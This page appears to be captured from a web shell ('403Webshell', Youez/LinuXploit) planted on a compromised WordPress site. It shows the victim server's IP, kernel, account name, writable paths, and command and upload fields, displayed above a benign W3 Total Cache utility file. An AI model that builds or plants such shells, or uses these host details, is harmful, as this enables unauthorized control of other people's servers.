403Webshell
Server IP : 68.65.122.186  /  Your IP : 216.73.216.48
Web Server : Apache
System : Linux host38.registrar-servers.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : zmbusine ( 2029)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/zmbusine/public_html/fr/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/zmbusine/public_html/fr/wp-content/plugins/w3-total-cache/Cdnfsd_Util.php
<?php
/**
 * File: Cdnfsd_Util.php
 *
 * @package W3TC
 */

namespace W3TC;

/**
 * Class Cdnfsd_Util
 */
class Cdnfsd_Util {
	/**
	 * Engine name retrieval.
	 *
	 * @param string $engine The name of the engine to retrieve.
	 *
	 * @return string The name of the engine.
	 */
	public static function engine_name( $engine ) {
		return $engine;
	}

	/**
	 * Get suggested home IP address.
	 *
	 * @return string The resolved IP address or an empty string if it resolves to a local IP.
	 */
	public static function get_suggested_home_ip() {
		$ip = gethostbyname( Util_Environment::home_url_host() );

		// check if it resolves to local IP, means host cant know its real IP.
		if (
			'127.' === substr( $ip, 0, 4 ) ||
			'10.' === substr( $ip, 0, 3 ) ||
			'192.168.' === substr( $ip, 0, 8 )
		) {
			return '';
		}

		return $ip;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit